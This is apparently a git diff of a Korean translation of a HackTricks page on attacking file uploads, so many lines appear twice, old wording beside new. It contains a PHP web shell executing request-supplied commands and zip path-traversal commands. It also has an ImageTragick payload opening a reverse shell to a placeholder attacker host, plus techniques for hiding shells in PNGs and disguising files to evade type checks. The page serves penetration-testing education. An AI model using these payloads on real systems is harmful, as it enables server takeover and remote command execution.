1. **Creating a PHP Shell**: PHP 코드는 `$_REQUEST` 변수로 전달된 명령을 실행하도록 작성됨.
|
||||
1. **Creating a PHP Shell**: PHP 코드는 `$_REQUEST` 변수를 통해 전달된 명령을 실행하도록 작성됩니다.
|
||||
|
||||
```php
|
||||
<?php
|
||||
@ -269,14 +297,14 @@ system($cmd);
|
||||
}?>
|
||||
```
|
||||
|
||||
2. **File Spraying and Compressed File Creation**: 여러 파일을 생성하고 이 파일들을 포함한 zip 아카이브를 만듦.
|
||||
2. **File Spraying and Compressed File Creation**: 여러 파일을 생성한 후 이 파일들을 포함하는 zip 아카이브를 만듭니다.
|
||||
|
||||
```bash
|
||||
root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done
|
||||
root@s2crew:/tmp# zip cmd.zip xx*.php
|
||||
```
|
||||
|
||||
3. **Modification with a Hex Editor or vi**: vi 또는 hex editor로 zip 내부의 파일 이름을 변경해 "xxA"를 "../"로 바꿔 디렉터리 횡단을 수행함.
|
||||
3. **Modification with a Hex Editor or vi**: zip 안의 파일 이름을 vi 또는 hex editor로 변경하여 "xxA"를 "../"로 바꿔 디렉터리 순회(traversal)를 수행합니다.
|
||||
|
||||
```bash
|
||||
:set modifiable
|
||||
@ -286,36 +314,38 @@ root@s2crew:/tmp# zip cmd.zip xx*.php
|
||||
|
||||
## ImageTragic
|
||||
|
||||
이 내용을 이미지 확장자로 업로드하면 취약점(**ImageMagick , 7.0.1-1**)을 악용할 수 있습니다 (exploit: [https://www.exploit-db.com/exploits/39767](https://www.exploit-db.com/exploits/39767))
|
||||
이 콘텐츠를 이미지 확장자로 업로드하여 취약점 **(ImageMagick , 7.0.1-1)** 을 악용하세요 (exploit은 [https://www.exploit-db.com/exploits/39767](https://www.exploit-db.com/exploits/39767))
|
||||
```
|
||||
push graphic-context
|
||||
viewbox 0 0 640 480
|
||||
fill 'url(https://127.0.0.1/test.jpg"|bash -i >& /dev/tcp/attacker-ip/attacker-port 0>&1|touch "hello)'
|
||||
pop graphic-context
|
||||
```
|
||||
## PNG에 PHP Shell 삽입
|
||||
## PNG에 PHP 셸 임베딩
|
||||
|
||||
PNG 파일의 IDAT chunk에 PHP shell을 삽입하면 특정 이미지 처리 작업을 효과적으로 우회할 수 있습니다. PHP-GD의 `imagecopyresized`와 `imagecopyresampled` 함수는 각각 이미지 크기 조정과 재샘플링에 흔히 사용되므로 이 맥락에서 특히 관련이 있습니다. 임베디드된 PHP shell이 이러한 작업들의 영향을 받지 않는다는 점은 특정 사용 사례에서 중요한 이점입니다.
|
||||
PNG 파일의 IDAT 청크에 PHP 셸을 임베딩하면 특정 이미지 처리 작업을 효과적으로 우회할 수 있습니다. PHP-GD의 `imagecopyresized`와 `imagecopyresampled` 함수는 각각 이미지 크기 조정과 리샘플링에 일반적으로 사용되므로 이 맥락에서 특히 관련이 있습니다. 임베딩된 PHP 셸이 이러한 작업으로 영향을 받지 않고 남아 있을 수 있다는 점은 특정 사용 사례에서 큰 이점입니다.
|
||||
|
||||
이 기술의 방법론과 잠재적 응용을 자세히 다룬 글은 다음 기사에 수록되어 있습니다: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). 이 자료는 프로세스와 그 의미를 포괄적으로 이해하는 데 도움이 됩니다.
|
||||
이 기법의 방법론과 잠재적 적용 사례를 자세히 다룬 글은 다음 기사에서 확인할 수 있습니다: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). 이 자료는 절차와 그 영향에 대한 포괄적인 이해를 제공합니다.
|
||||
|
||||
More information in: [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
|
||||
|
||||
## Polyglot 파일
|
||||
## Polyglot Files
|
||||
|
||||
Polyglot 파일은 사이버 보안에서 독특한 도구로, 동시에 여러 파일 포맷으로 유효하게 존재할 수 있는 카멜레온 역할을 합니다. 흥미로운 예로는 [GIFAR](https://en.wikipedia.org/wiki/Gifar)가 있는데, 이는 GIF와 RAR 아카이브 둘 다로 작동하는 하이브리드입니다. 이러한 파일은 이 조합에만 국한되지 않으며, GIF와 JS 또는 PPT와 JS 같은 조합도 가능합니다.
|
||||
Polyglot files는 사이버보안에서 독특한 도구로, 동시에 여러 파일 포맷으로 유효하게 존재할 수 있는 카멜레온과 같습니다. 흥미로운 예로는 [GIFAR](https://en.wikipedia.org/wiki/Gifar)가 있는데, 이는 GIF이자 RAR 아카이브로 동시에 동작하는 하이브리드입니다. 이러한 파일은 이 조합에 국한되지 않으며, GIF와 JS 또는 PPT와 JS 같은 조합도 가능합니다.
|
||||
|
||||
Polyglot 파일의 핵심 유용성은 파일 유형 기반으로 파일을 검사하는 보안 조치를 회피할 수 있다는 점입니다. 여러 애플리케이션에서 일반적으로 업로드를 허용하는 파일 유형을 JPEG, GIF, DOC 등으로 제한하여 JS, PHP, Phar 파일처럼 잠재적으로 위험한 포맷의 위험을 줄입니다. 그러나 polyglot은 여러 파일 형식의 구조적 기준을 동시에 만족시켜 이러한 제한을 은밀히 우회할 수 있습니다.
|
||||
Polyglot files의 핵심 유용성은 파일 유형을 기준으로 파일을 검사하는 보안 조치를 우회할 수 있다는 점입니다. 다양한 애플리케이션에서는 잠재적으로 위험한 포맷(e.g., JS, PHP, or Phar files)에 대한 위험을 줄이기 위해 JPEG, GIF, 또는 DOC 같은 특정 파일 타입만 업로드를 허용하는 경우가 일반적입니다. 그러나 polyglot은 여러 파일 타입의 구조적 기준을 동시에 만족함으로써 이러한 제한을 은밀히 우회할 수 있습니다.
|
||||
|
||||
적응성이 뛰어나더라도 polyglot은 한계가 있습니다. 예를 들어 polyglot이 PHAR 파일 (PHp ARchive)과 JPEG를 동시에 포함하더라도 업로드 성공 여부는 플랫폼의 파일 확장자 정책에 달려 있을 수 있습니다. 시스템이 허용 가능한 확장자에 대해 엄격하면 구조적 이중성만으로는 업로드를 보장하지 못할 수 있습니다.
|
||||
적응성에도 불구하고 polyglots는 한계에 직면할 수 있습니다. 예를 들어, polyglot가 PHAR 파일(PHp ARchive)과 JPEG를 동시에 구현할 수 있더라도, 업로드 성공 여부는 플랫폼의 파일 확장자 정책에 따라 달라질 수 있습니다. 시스템이 허용 가능한 확장자에 대해 엄격하다면, 단순한 구조적 이중성만으로는 업로드 성공을 보장하지 못할 수 있습니다.
|
||||
|
||||
### PDF인 것처럼 유효한 JSON 업로드
|
||||
More information in: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
|
||||
|
||||
허용되지 않은 경우에도 PDF로 가장하여 유효한 JSON 파일을 업로드해 파일 유형 탐지를 회피하는 방법(기법 출처: **[this blog post](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)**):
|
||||
### Upload valid JSONs like if it was PDF
|
||||
|
||||
- **`mmmagic` library**: 처음 1024바이트 안에 `%PDF` 매직 바이트가 있으면 유효합니다(예시는 포스트 참조)
|
||||
- **`pdflib` library**: JSON의 field 내부에 가짜 PDF 형식을 추가해 라이브러리가 이를 PDF로 인식하게 만듭니다(예시는 포스트 참조)
|
||||
- **`file` binary**: 파일에서 최대 1048576바이트까지 읽을 수 있습니다. 이보다 큰 JSON을 만들어 file이 내용을 JSON으로 파싱하지 못하게 한 뒤, 그 JSON 내부에 실제 PDF의 초기 부분을 넣으면 file이 이를 PDF로 인식합니다
|
||||
허용되지 않은 경우에도 PDF 파일로 위장하여 유효한 JSON 파일을 업로드해 파일 유형 탐지를 우회하는 방법(기법 출처: **[this blog post](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)**):
|
||||
|
||||
- **`mmmagic` library**: `%PDF` 매직 바이트가 처음 1024 바이트 안에 있으면 유효하다고 판단됩니다 (예시는 포스트에서 확인).
|
||||
- **`pdflib` library**: JSON의 필드 내부에 가짜 PDF 포맷을 추가해 라이브러리가 이를 PDF로 인식하게 합니다 (예시는 포스트에서 확인).
|
||||
- **`file` binary**: 파일에서 최대 1048576 바이트까지 읽을 수 있습니다. 이보다 큰 JSON을 만들어 파일을 JSON으로 파싱하지 못하게 한 뒤, JSON 내부에 실제 PDF의 초기 부분을 넣으면 `file`은 이를 PDF로 판단합니다.
|
||||
|
||||
## References
|
||||
|
||||
@ -327,5 +357,8 @@ Polyglot 파일의 핵심 유용성은 파일 유형 기반으로 파일을 검
|
||||
- [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
|
||||
- [https://blog.doyensec.com/2025/01/09/cspt-file-upload.html](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)
|
||||
- [The Art of PHP: CTF‑born exploits and techniques](https://blog.orange.tw/posts/2025-08-the-art-of-php-ch/)
|
||||
- [CVE-2024-21546 – NVD entry](https://nvd.nist.gov/vuln/detail/CVE-2024-21546)
|
||||
- [PoC gist for LFM .php. bypass](https://gist.github.com/ImHades101/338a06816ef97262ba632af9c78b78ca)
|
||||
- [0xdf – HTB Environment (UniSharp LFM upload → PHP RCE)](https://0xdf.gitlab.io/2025/09/06/htb-environment.html)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user